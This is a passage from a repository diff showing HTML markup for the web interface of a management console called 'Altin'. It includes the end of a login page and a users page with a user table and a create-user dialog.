||||||
|
<link rel="stylesheet" href="/assets/css/login.css">
|
||||||
|
<script defer src="/assets/js/auth.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="login-page">
|
||||||
|
<main class="login-shell">
|
||||||
|
<section class="login-panel card" aria-label="Login form">
|
||||||
|
<div class="login-panel-header">
|
||||||
|
<div class="login-card-logo">Altin</div>
|
||||||
|
<button class="icon-button theme-toggle" id="themeToggle" type="button" aria-label="Toggle theme">☀️</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<p class="login-copy login-copy-compact">
|
||||||
|
Enter the management server URL and credentials.
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<div class="login-saved hidden" id="savedServerWrap">
|
||||||
|
<label class="field-label" for="savedServer">Saved server</label>
|
||||||
|
<select class="select" id="savedServer"></select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<form class="login-form" id="loginForm" autocomplete="on">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="serverUrl">Server URL</label>
|
||||||
|
<input class="input" id="serverUrl" name="serverUrl" type="url" placeholder="http://127.0.0.1:5000" required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="username">Username</label>
|
||||||
|
<input class="input" id="username" name="username" type="text" placeholder="operator" autocomplete="username" required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="password">Password</label>
|
||||||
|
<input class="input" id="password" name="password" type="password" placeholder="••••••••" autocomplete="current-password" required>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="login-actions">
|
||||||
|
<label class="login-option" for="rememberServer">
|
||||||
|
<input id="rememberServer" type="checkbox">
|
||||||
|
Save server after login
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<button class="button" type="submit">Login</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="login-message" id="loginMessage" role="status" aria-live="polite"></div>
|
||||||
|
</form>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
120
webui/users.html
Normal file
120
webui/users.html
Normal file
@ -0,0 +1,120 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8" />
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||||
|
<title>Altin | Users</title>
|
||||||
|
|
||||||
|
<link rel="stylesheet" href="/assets/css/main.css">
|
||||||
|
<link rel="stylesheet" href="/assets/css/home.css">
|
||||||
|
<script defer src="/assets/js/users.js"></script>
|
||||||
|
</head>
|
||||||
|
<body class="app-page">
|
||||||
|
<div class="app-layout">
|
||||||
|
<aside class="sidebar">
|
||||||
|
<div class="brand-block">
|
||||||
|
<div class="brand-name">Altin</div>
|
||||||
|
<div class="brand-subtitle">Management console</div>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-section">
|
||||||
|
<nav class="nav-list" aria-label="Primary">
|
||||||
|
<a class="nav-item" href="/index.html"><span>Overview</span></a>
|
||||||
|
<a class="nav-item" href="/agents.html"><span>Agents</span></a>
|
||||||
|
<a class="nav-item" href="/keys.html"><span>Keys</span></a>
|
||||||
|
<a class="nav-item is-active" href="/users.html"><span>Users</span></a>
|
||||||
|
</nav>
|
||||||
|
</div>
|
||||||
|
<div class="sidebar-footer">
|
||||||
|
<div class="sidebar-info">
|
||||||
|
<strong>Session</strong><br>
|
||||||
|
<span id="serverChip">loading…</span>
|
||||||
|
</div>
|
||||||
|
<button class="button-secondary" id="themeToggle" type="button">Theme</button>
|
||||||
|
<button class="button" id="logoutButton" type="button">Logout</button>
|
||||||
|
</div>
|
||||||
|
</aside>
|
||||||
|
|
||||||
|
<main class="main-shell">
|
||||||
|
<header class="page-header page-header-spaced">
|
||||||
|
<div>
|
||||||
|
<div class="page-title">Users</div>
|
||||||
|
</div>
|
||||||
|
<div class="topbar-actions">
|
||||||
|
<button class="button-secondary" id="refreshUsersButton" type="button">Refresh</button>
|
||||||
|
<button class="button" id="createUserButton" type="button">Create user</button>
|
||||||
|
</div>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<section class="page-section">
|
||||||
|
<section class="agents-toolbar panel">
|
||||||
|
<div class="filter-grid keys-filter-grid">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="userSearch">Search</label>
|
||||||
|
<input class="input" id="userSearch" type="search" placeholder="Username or user ID">
|
||||||
|
</div>
|
||||||
|
<div class="selection-bar keys-summary">
|
||||||
|
<div>
|
||||||
|
<span class="selection-label">Users</span>
|
||||||
|
<div class="selection-count" id="usersCount">0 total</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section class="panel agents-table-panel">
|
||||||
|
<div class="table-wrap">
|
||||||
|
<table class="data-table">
|
||||||
|
<thead>
|
||||||
|
<tr>
|
||||||
|
<th>ID</th>
|
||||||
|
<th>Username</th>
|
||||||
|
<th>Admin</th>
|
||||||
|
<th>Actions</th>
|
||||||
|
</tr>
|
||||||
|
</thead>
|
||||||
|
<tbody id="usersTableBody"></tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
</section>
|
||||||
|
</main>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-backdrop hidden" id="userModal" aria-hidden="true">
|
||||||
|
<div class="modal-card card" role="dialog" aria-modal="true" aria-labelledby="userModalTitle">
|
||||||
|
<div class="modal-header">
|
||||||
|
<div>
|
||||||
|
<h2 id="userModalTitle">Create user</h2>
|
||||||
|
<p>Create or update a user account.</p>
|
||||||
|
</div>
|
||||||
|
<button class="icon-button" id="closeUserModalButton" type="button">✕</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-layout single-column">
|
||||||
|
<section class="modal-panel">
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="userName">Username</label>
|
||||||
|
<input class="input" id="userName" type="text" placeholder="operator">
|
||||||
|
</div>
|
||||||
|
<div>
|
||||||
|
<label class="field-label" for="userPassword">Password</label>
|
||||||
|
<input class="input" id="userPassword" type="password" placeholder="password">
|
||||||
|
</div>
|
||||||
|
<label class="login-option compact-option" for="userAdmin">
|
||||||
|
<input id="userAdmin" type="checkbox">
|
||||||
|
Admin
|
||||||
|
</label>
|
||||||
|
</section>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="modal-footer">
|
||||||
|
<div class="modal-message" id="userModalMessage"></div>
|
||||||
|
<div class="modal-actions-inline">
|
||||||
|
<button class="button-secondary" id="cancelUserModalButton" type="button">Cancel</button>
|
||||||
|
<button class="button" id="saveUserButton" type="button">Save user</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
Loading…
x
Reference in New Issue
Block a user